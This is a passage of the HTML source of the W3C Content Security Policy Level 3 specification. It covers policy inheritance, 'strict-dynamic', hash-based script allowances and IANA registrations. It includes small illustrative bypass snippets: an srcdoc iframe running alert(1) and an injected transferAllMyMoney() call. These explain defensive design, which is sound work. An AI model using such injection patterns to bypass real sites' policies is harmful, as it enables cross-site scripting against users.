href=\"#initialize-global-object-csp\">§4.2.2 Initialize a global object’s CSP list</a>,\n  documents loaded from <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#local-scheme\" id=\"ref-for-local-scheme⑤\">local schemes</a> will inherit a copy of the\n  policies in the <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①⑧\">CSP list</a> of the <a data-link-type=\"dfn\" href=\"#embedding-document\" id=\"ref-for-embedding-document③\">embedding document</a> or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#opener-browsing-context\" id=\"ref-for-opener-browsing-context②\">opener browsing context</a>. The goal is to ensure that a page can’t\n  bypass its policy by embedding a frame or opening a new window containg\n  content that is entirely under its control (<code>srcdoc</code> documents, <code>blob:</code> or <code>data:</code> URLs, <code>about:blank</code> documents that can be manipulated via <code>document.write()</code>, etc).</p>\n    <div class=\"example\" id=\"example-7a5b0df0\">\n     <a class=\"self-link\" href=\"#example-7a5b0df0\"></a> If this would not happen a page could execute inline scripts even without <code>unsafe-inline</code> in the page’s execution context by simply embedding a <code>srcdoc</code> <code>iframe</code>. \n<pre class=\"highlight\"><span class=\"nt\">&lt;iframe</span> <span class=\"na\">srcdoc=</span><span class=\"s\">\"&lt;script>alert(1);&lt;/script>\"</span><span class=\"nt\">>&lt;/iframe></span>\n</pre>\n    </div>\n    <p>Note that we create a copy of the <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①⑨\">CSP list</a> which\n  means that the new <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①⑨\">Document</a></code>'s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list②⓪\">CSP list</a> is a\n  snapshot of the relevant policies at its creation time. Modifications in the <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list②①\">CSP list</a> of the new <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document②⓪\">Document</a></code> won’t affect the <a data-link-type=\"dfn\" href=\"#embedding-document\" id=\"ref-for-embedding-document④\">embedding document</a> or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#opener-browsing-context\" id=\"ref-for-opener-browsing-context③\">opener browsing context</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list②②\">CSP list</a> or vice-versa.</p>\n    <div class=\"example\" id=\"example-3c6e0109\">\n     <a class=\"self-link\" href=\"#example-3c6e0109\"></a> In the example below the image inside the iframe will not load because it is\n    blocked by the policy in the <code>meta</code> tag of the iframe. The image outside the\n    iframe will load (assuming the main page policy does not block it) since the\n    policy inserted in the iframe will not affect it. \n<pre class=\"highlight\"><span class=\"nt\">&lt;iframe</span> <span class=\"na\">srcdoc=</span><span class=\"s\">'&lt;meta http-equiv=\"Content-Security-Policy\" content=\"img-src example.com;\"></span>\n<span class=\"s\">                   &lt;img src=\"not-example.com/image\">'</span><span class=\"nt\">>&lt;/iframe></span>\n\n<span class=\"nt\">&lt;img</span> <span class=\"na\">src=</span><span class=\"s\">\"not-example.com/image\"</span><span class=\"nt\">></span>\n</pre>\n    </div>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"8\" id=\"authoring-considerations\"><span class=\"secno\">8. </span><span class=\"content\">Authoring Considerations</span><a class=\"self-link\" href=\"#authoring-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"8.1\" id=\"multiple-policies\"><span class=\"secno\">8.1. </span><span class=\"content\"> The effect of multiple policies </span><a class=\"self-link\" href=\"#multiple-policies\"></a></h3>\n    <p><em>This section is not normative.</em></p>\n    <p>The above sections note that when multiple policies are present, each must be\n  enforced or reported, according to its type. An example will help clarify how\n  that ought to work in practice. The behavior of an <code>XMLHttpRequest</code> might seem unclear given a site that, for whatever reason, delivered the\n  following HTTP headers:</p>\n    <div class=\"example\" id=\"example-ef0bfc7a\">\n     <a class=\"self-link\" href=\"#example-ef0bfc7a\"></a> \n<pre>Content-Security-Policy: default-src 'self' http://example.com http://example.net;\n                         connect-src 'none';\nContent-Security-Policy: connect-src http://example.com/;\n                         script-src http://example.com/\n</pre>\n    </div>\n    <p>Is a connection to example.com allowed or not? The short answer is that the\n  connection is not allowed. Enforcing both policies means that a potential\n  connection would have to pass through both unscathed. Even though the second\n  policy would allow this connection, the first policy contains <code>connect-src 'none'</code>, so its enforcement blocks the connection. The\n  impact is that adding additional policies to the list of policies to enforce\n  can <em>only</em> further restrict the capabilities of the protected resource.</p>\n    <p>To demonstrate that further, consider a script tag on this page. The first\n  policy would lock scripts down to <code>'self'</code>, <code>http://example.com</code> and <code>http://example.net</code> via the <code>default-src</code> directive. The second, however,\n  would only allow script from <code>http://example.com/</code>. Script will only load if\n  it meets both policy’s criteria: in this case, the only origin that can match\n  is <code>http://example.com</code>, as both policies allow it.</p>\n    <h3 class=\"heading settled\" data-level=\"8.2\" id=\"strict-dynamic-usage\"><span class=\"secno\">8.2. </span><span class=\"content\"> Usage of \"<code>'strict-dynamic'</code>\" </span><a class=\"self-link\" href=\"#strict-dynamic-usage\"></a></h3>\n    <p>Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs.\n  The <a href=\"https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22#107-bytes\">solutions\n  to Cure53’s H5SC Minichallenge 3: \"Sh*t, it’s CSP!\"</a> <a data-link-type=\"biblio\" href=\"#biblio-h5sc3\">[H5SC3]</a> are good examples of the\n  kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these\n  bypasses via exhaustive declaration of specific resources, those lists end up being brittle,\n  awkward, and difficult to implement and maintain.</p>\n    <p>The \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic⑥\"><code>'strict-dynamic'</code></a>\" source expression aims to make Content\n  Security Policy simpler to deploy for existing applications who have a high\n  degree of confidence in the scripts they load directly, but low confidence in\n  their ability to provide a reasonable list of resources to load up front.</p>\n    <p>If present in a <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src⑤\"><code>script-src</code></a> or <a data-link-type=\"dfn\" href=\"#default-src\" id=\"ref-for-default-src④\"><code>default-src</code></a> directive, it has\n  two main effects:</p>\n    <ol>\n     <li data-md=\"\">\n      <p><a data-link-type=\"grammar\" href=\"#grammardef-host-source\" id=\"ref-for-grammardef-host-source⑥\">host-source</a> and <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\" id=\"ref-for-grammardef-scheme-source④\">scheme-source</a> expressions, as well as the \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\" id=\"ref-for-grammardef-unsafe-inline⑦\"><code>'unsafe-inline'</code></a>\"\n  and \"<a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self②③\"><code>'self'</code></a> <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\" id=\"ref-for-grammardef-keyword-source⑧\">keyword-source</a>s will be\n  ignored when loading script.</p>\n      <p><a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source⑨\">hash-source</a> and <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source①⓪\">nonce-source</a> expressions\n  will be honored.</p>\n     <li data-md=\"\">\n      <p>Script requests which are triggered by non-<a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#parser-inserted\" id=\"ref-for-parser-inserted③\">\"parser-inserted\"</a> <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①④\">script</a></code> elements are allowed.</p>\n    </ol>\n    <p>The first change allows you to deploy \"<a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic⑦\"><code>'strict-dynamic'</code></a> in a\n  backwards compatible way, without requiring user-agent sniffing: the policy <code>'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</code> will act like <code>'unsafe-inline' https:</code> in browsers that support CSP1, <code>https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'</code> in browsers that support CSP2, and <code>'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'</code> in browsers that\n  support CSP3.</p>\n    <p>The second allows scripts which are given access to the page via nonces or\n  hashes to bring in their dependencies without adding them explicitly to the\n  page’s policy.</p>\n    <div class=\"example\" id=\"example-e30022c4\">\n     <a class=\"self-link\" href=\"#example-e30022c4\"></a> Suppose MegaCorp, Inc. deploys the following policy: \n<pre><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\" id=\"ref-for-header-content-security-policy⑥\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src⑥\">script-src</a> 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' <a data-link-type=\"grammar\" href=\"#grammardef-strict-dynamic\" id=\"ref-for-grammardef-strict-dynamic⑧\">'strict-dynamic'</a>\n</pre>\n     <p>And serves the following HTML with that policy active:</p>\n<pre class=\"highlight\">...\n<span class=\"nt\">&lt;script </span><span class=\"na\">src=</span><span class=\"s\">\"https://cdn.example.com/script.js\"</span> <span class=\"na\">nonce=</span><span class=\"s\">\"DhcnhD3khTMePgXwdayK9BsMqXjhguVV\"</span> <span class=\"nt\">>&lt;/script></span>\n...\n</pre>\n     <p>This will generate a request for <code>https://cdn.example.com/script.js</code>, which\n    will not be blocked because of the matching <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/urls-and-fetching.html#dom-noncedelement-nonce\" id=\"ref-for-dom-noncedelement-nonce①\">nonce</a></code> attribute.</p>\n     <p>If <code>script.js</code> contains the following code:</p>\n<pre class=\"highlight\"><span class=\"kd\">var</span> s <span class=\"o\">=</span> document<span class=\"p\">.</span>createElement<span class=\"p\">(</span><span class=\"s1\">'script'</span><span class=\"p\">);</span>\ns<span class=\"p\">.</span>src <span class=\"o\">=</span> <span class=\"s1\">'https://othercdn.not-example.net/dependency.js'</span><span class=\"p\">;</span>\ndocument<span class=\"p\">.</span>head<span class=\"p\">.</span>appendChild<span class=\"p\">(</span><span class=\"s1\">'s'</span><span class=\"p\">);</span>\n\ndocument<span class=\"p\">.</span>write<span class=\"p\">(</span><span class=\"s1\">'&lt;scr'</span> <span class=\"o\">+</span> <span class=\"s1\">'ipt src='</span><span class=\"o\">/</span>sadness<span class=\"p\">.</span>js<span class=\"s1\">'>&lt;/scr'</span> <span class=\"o\">+</span> <span class=\"s1\">'ipt>'</span><span class=\"p\">);</span>\n</pre>\n     <p><code>dependency.js</code> will load, as the <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①⑤\">script</a></code> element created by <code>createElement()</code> is not <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#parser-inserted\" id=\"ref-for-parser-inserted④\">\"parser-inserted\"</a>.</p>\n     <p><code>sadness.js</code> will <em>not</em> load, however, as <code>document.write()</code> produces <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①⑥\">script</a></code> elements which are <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#parser-inserted\" id=\"ref-for-parser-inserted⑤\">\"parser-inserted\"</a>.</p>\n    </div>\n    <section class=\"wip\">\n     <h3 class=\"heading settled\" data-level=\"8.3\" id=\"unsafe-hashed-attributes-usage\"><span class=\"secno\">8.3. </span><span class=\"content\"> Usage of \"<code>'unsafe-hashed-attributes'</code>\" </span><a class=\"self-link\" href=\"#unsafe-hashed-attributes-usage\"></a></h3>\n     <p><em>This section is not normative.</em></p>\n     <p class=\"issue\" id=\"issue-0e25e974\"><a class=\"self-link\" href=\"#issue-0e25e974\"></a> Work in progress. <a href=\"https://github.com/w3c/webappsec-csp/issues/13\">&lt;https://github.com/w3c/webappsec-csp/issues/13></a></p>\n     <p>Legacy websites and websites with legacy dependencies might find it difficult\n    to entirely externalize event handlers. These sites could enable such handlers\n    by allowing <code>'unsafe-inline'</code>, but that’s a big hammer with a lot of\n    associated risk (and cannot be used in conjunction with nonces or hashes).</p>\n     <p>The \"<a data-link-type=\"grammar\" href=\"#grammardef-unsafe-hashed-attributes\" id=\"ref-for-grammardef-unsafe-hashed-attributes②\"><code>'unsafe-hashed-attributes'</code></a>\" source expression aims to make\n    CSP deployment simpler and safer in these situations by allowing developers\n    to enable specific handlers via hashes.</p>\n     <div class=\"example\" id=\"example-58b9ab8c\">\n      <a class=\"self-link\" href=\"#example-58b9ab8c\"></a> MegaCorp, Inc. can’t quite get rid of the following HTML on anything\n      resembling a reasonable schedule: \n<pre class=\"highlight\"><span class=\"nt\">&lt;button</span> <span class=\"na\">id=</span><span class=\"s\">\"action\"</span> <span class=\"na\">onclick=</span><span class=\"s\">\"doSubmit()\"</span><span class=\"nt\">></span>\n</pre>\n      <p>Rather than reducing security by specifying \"<code>'unsafe-inline'</code>\", they decide to use\n      \"<code>'unsafe-hashed-attributes'</code>\" along with a hash source expression, as follows:</p>\n<pre><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\" id=\"ref-for-header-content-security-policy⑦\">Content-Security-Policy</a>:  <a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src⑦\">script-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-hashed-attributes\" id=\"ref-for-grammardef-unsafe-hashed-attributes③\">'unsafe-hashed-attributes'</a> 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='\n</pre>\n     </div>\n     <p>The capabilities <code>'unsafe-hashed-attributes'</code> provides is useful for legacy sites, but should be\n    avoided for modern sites. In particular, note that hashes allow a particular script to execute,\n    but do not ensure that it executes in the way a developer intends. If an interesting capability\n    is exposed as an inline event handler (say <code>&lt;a onclick=\"transferAllMyMoney()\">Transfer&lt;/a></code>),\n    then that script becomes available for an attacker to inject as <code>&lt;script>transferAllMyMoney()&lt;/script></code>. Developers should be careful to balance the risk of\n    allowing specific scripts to execute against the deployment advantages that allowing inline\n    event handlers might provide.</p>\n    </section>\n    <section>\n     <h3 class=\"heading settled\" data-level=\"8.4\" id=\"external-hash\"><span class=\"secno\">8.4. </span><span class=\"content\"> Allowing external JavaScript via hashes </span><a class=\"self-link\" href=\"#external-hash\"></a></h3>\n     <p>In <a data-link-type=\"biblio\" href=\"#biblio-csp2\">[CSP2]</a>, hash <a data-link-type=\"dfn\" href=\"#source-expression\" id=\"ref-for-source-expression⑧\">source expressions</a> could only match inlined\n    script, but now that Subresource Integrity is widely deployed, we can expand\n    the scope to enable externalized JavaScript as well.</p>\n     <p>If multiple sets of integrity metadata are specified for a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①⑦\">script</a></code>, the\n    request will match a policy’s <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\" id=\"ref-for-grammardef-hash-source①⓪\">hash-source</a>s if and only if <em>each</em> item in a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①⑧\">script</a></code>'s integrity metadata matches the policy.</p>\n     <div class=\"example\" id=\"example-7bc6634d\">\n      <a class=\"self-link\" href=\"#example-7bc6634d\"></a> MegaCorp, Inc. wishes to allow two specific scripts on a page in a way\n      that ensures that the content matches their expectations. They do so by\n      setting the following policy: \n<pre>Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'\n</pre>\n      <p>In the presence of that policy, the following <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script①⑨\">script</a></code> elements would be\n      allowed to execute because they contain only integrity metadata that matches\n      the policy:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"sha256-abc123\"</span> ...<span class=\"nt\">>&lt;/script></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"sha512-321cba\"</span> ...<span class=\"nt\">>&lt;/script></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"sha256-abc123 sha512-321cba\"</span> ...<span class=\"nt\">>&lt;/script></span>\n</pre>\n      <p>While the following <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script②⓪\">script</a></code> elements would not execute because they\n      contain valid metadata that does not match the policy (even though other\n      metadata does match):</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"</span><b><span class=\"s\">sha384-xyz789</span></b><span class=\"s\">\"</span> ...<span class=\"nt\">>&lt;/script></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"</span><b><span class=\"s\">sha384-xyz789</span></b><span class=\"s\"> sha512-321cba\"</span> ...<span class=\"nt\">>&lt;/script></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"sha256-abc123 </span><b><span class=\"s\">sha384-xyz789</span></b><span class=\"s\"> sha512-321cba\"</span> ...<span class=\"nt\">>&lt;/script></span>\n</pre>\n      <p>Metadata that is not recognized (either because it’s entirely invalid, or\n      because it specifies a not-yet-supported hashing algorithm) does not affect\n      the behavior described here. That is, the following elements would be\n      allowed to execute in the presence of the above policy, as the additional\n      metadata is invalid and therefore wouldn’t allow a script whose content\n      wasn’t listed explicitly in the policy to execute:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"sha256-abc123 </span><b><span class=\"s\">sha1024-abcd</span></b><span class=\"s\">\"</span> ...<span class=\"nt\">>&lt;/script></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"sha512-321cba </span><b><span class=\"s\">entirely-invalid</span></b><span class=\"s\">\"</span> ...<span class=\"nt\">>&lt;/script></span>\n<span class=\"nt\">&lt;script </span><span class=\"na\">integrity=</span><span class=\"s\">\"sha256-abc123 </span><b><span class=\"s\">not-a-hash-at-all</span></b><span class=\"s\"> sha512-321cba\"</span> ...<span class=\"nt\">>&lt;/script></span>\n</pre>\n     </div>\n    </section>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"9\" id=\"implementation-considerations\"><span class=\"secno\">9. </span><span class=\"content\">Implementation Considerations</span><a class=\"self-link\" href=\"#implementation-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"9.1\" id=\"extensions\"><span class=\"secno\">9.1. </span><span class=\"content\">Vendor-specific Extensions and Addons</span><a class=\"self-link\" href=\"#extensions\"></a></h3>\n    <p><a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤⑨\">Policy</a> enforced on a resource SHOULD NOT interfere with the operation\n  of user-agent features like addons, extensions, or bookmarklets. These kinds\n  of features generally advance the user’s priority over page authors, as\n  espoused in <a data-link-type=\"biblio\" href=\"#biblio-html-design\">[HTML-DESIGN]</a>.</p>\n    <p>Moreover, applying CSP to these kinds of features produces a substantial\n  amount of noise in violation reports, significantly reducing their value to\n  developers.</p>\n    <p>Chrome, for example, excludes the <code>chrome-extension:</code> scheme from CSP checks,\n  and does some work to ensure that extension-driven injections are allowed,\n  regardless of a page’s policy.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"10\" id=\"iana-considerations\"><span class=\"secno\">10. </span><span class=\"content\">IANA Considerations</span><a class=\"self-link\" href=\"#iana-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"10.1\" id=\"iana-registry\"><span class=\"secno\">10.1. </span><span class=\"content\"> Directive Registry </span><a class=\"self-link\" href=\"#iana-registry\"></a></h3>\n    <p>The Content Security Policy Directive registry should be updated with the\n  following directives and references <a data-link-type=\"biblio\" href=\"#biblio-rfc7762\">[RFC7762]</a>:</p>\n    <dl>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#base-uri\" id=\"ref-for-base-uri②\"><code>base-uri</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-base-uri\">§6.2.1 base-uri</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#child-src\" id=\"ref-for-child-src②\"><code>child-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-child-src\">§6.1.1 child-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#connect-src\" id=\"ref-for-connect-src③\"><code>connect-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-connect-src\">§6.1.2 connect-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#default-src\" id=\"ref-for-default-src⑤\"><code>default-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-default-src\">§6.1.3 default-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#disown-opener\" id=\"ref-for-disown-opener①\"><code>disown-opener</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-disown-opener\">§6.2.4 disown-opener</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#font-src\" id=\"ref-for-font-src④\"><code>font-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-font-src\">§6.1.4 font-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#form-action\" id=\"ref-for-form-action\"><code>form-action</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-form-action\">§6.3.1 form-action</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#frame-ancestors\" id=\"ref-for-frame-ancestors③\"><code>frame-ancestors</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-frame-ancestors\">§6.3.2 frame-ancestors</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#frame-src\" id=\"ref-for-frame-src④\"><code>frame-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-frame-src\">§6.1.5 frame-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#img-src\" id=\"ref-for-img-src④\"><code>img-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-img-src\">§6.1.6 img-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#manifest-src\" id=\"ref-for-manifest-src③\"><code>manifest-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-manifest-src\">§6.1.7 manifest-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#media-src\" id=\"ref-for-media-src③\"><code>media-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-media-src\">§6.1.8 media-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#object-src\" id=\"ref-for-object-src④\"><code>object-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-object-src\">§6.1.9 object-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#plugin-types\" id=\"ref-for-plugin-types②\"><code>plugin-types</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-plugin-types\">§6.2.2 plugin-types</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#report-uri\" id=\"ref-for-report-uri④\"><code>report-uri</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-report-uri\">§6.4.1 report-uri</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#report-to\" id=\"ref-for-report-to⑤\"><code>report-to</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-report-to\">§6.4.2 report-to</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#sandbox\" id=\"ref-for-sandbox①\"><code>sandbox</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-sandbox\">§6.2.3 sandbox</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#script-src\" id=\"ref-for-script-src⑧\"><code>script-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-script-src\">§6.1.10 script-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#style-src\" id=\"ref-for-style-src③\"><code>style-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-style-src\">§6.1.11 style-src</a>)</p>\n     <dt data-md=\"\"><a data-link-type=\"dfn\" href=\"#worker-src\" id=\"ref-for-worker-src④\"><code>worker-src</code></a>\n     <dd data-md=\"\">\n      <p>This document (see <a href=\"#directive-worker-src\">§6.1.12 worker-src</a>)</p>\n    </dl>\n    <h3 class=\"heading settled\" data-level=\"10.2\" id=\"iana-headers\"><span class=\"secno\">10.2. </span><span class=\"content\"> Headers </span><a class=\"self-link\" href=\"#iana-headers\"></a></h3>\n    <p>The permanent message header field registry should be updated\n  with the following registrations: <a data-link-type=\"biblio\" href=\"#biblio-rfc3864\">[RFC3864]</a></p>\n    <h4 class=\"heading settled\" data-level=\"10.2.1\" id=\"iana-csp\"><span class=\"secno\">10.2.1. </span><span class=\"content\">Content-Security-Policy</span><a class=\"self-link\" href=\"#iana-csp\"></a></h4>\n    <dl>\n     <dt>Header field name\n     <dd>Content-Security-Policy\n     <dt>Applicable protocol\n     <dd>http\n     <dt>Status\n     <dd>standard\n     <dt>Author/Change controller\n     <dd>W3C\n     <dt>Specification document\n     <dd>This specification (See <a href=\"#csp-header\">§3.1 The Content-Security-Policy HTTP Response Header Field</a>)\n    </dl>\n    <h4 class=\"heading settled\" data-level=\"10.2.2\" id=\"iana-cspro\"><span class=\"secno\">10.2.2. </span><span class=\"content\">Content-Security-Policy-Report-Only</span><a class=\"self-link\" href=\"#iana-cspro\"></a></h4>\n    <dl>\n     <dt>Header field name\n     <dd>Content-Security-Policy-Report-Only\n     <dt>Applicable protocol\n     <dd>http\n     <dt>Status\n     <dd>standard\n     <dt>Author/Change controller\n     <dd>W3C\n     <dt>Specification document\n     <dd>This specification (See <a href=\"#cspro-header\">§3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field</a>)\n    </dl>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"11\" id=\"acknowledgements\"><span class=\"secno\">11. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n    <p>Lots of people are awesome. For instance:</p>\n    <ul>\n     <li data-md=\"\">\n      <p>Mario and all of Cure53.</p>\n     <li data-md=\"\">\n      <p>Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the\nrest of Google’s CSP Cabal.</p>\n    </ul>\n   </section>\n  </main>\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words “MUST”,\n    “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”,\n    “RECOMMENDED”, “MAY”, and “OPTIONAL” in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification. </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n  <p>Examples in this specification are introduced with the words “for example”\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this: </p>\n  <div class=\"example\" id=\"example-f839f6c8\">\n   <a class=\"self-link\" href=\"#example-f839f6c8\"></a> \n   <p>This is an example of an informative example.</p>\n  </div>\n  <p>Informative notes begin with the word “Note” and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this: </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n<script src=\"https://www.w3.org/scripts/TR/2016/fixup.js\"></script>\n  <h2 class=\"no-num no-ref heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <h3 class=\"no-num no-ref heading settled\" id=\"index-defined-here\"><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#index-defined-here\"></a></h3>\n  <ul 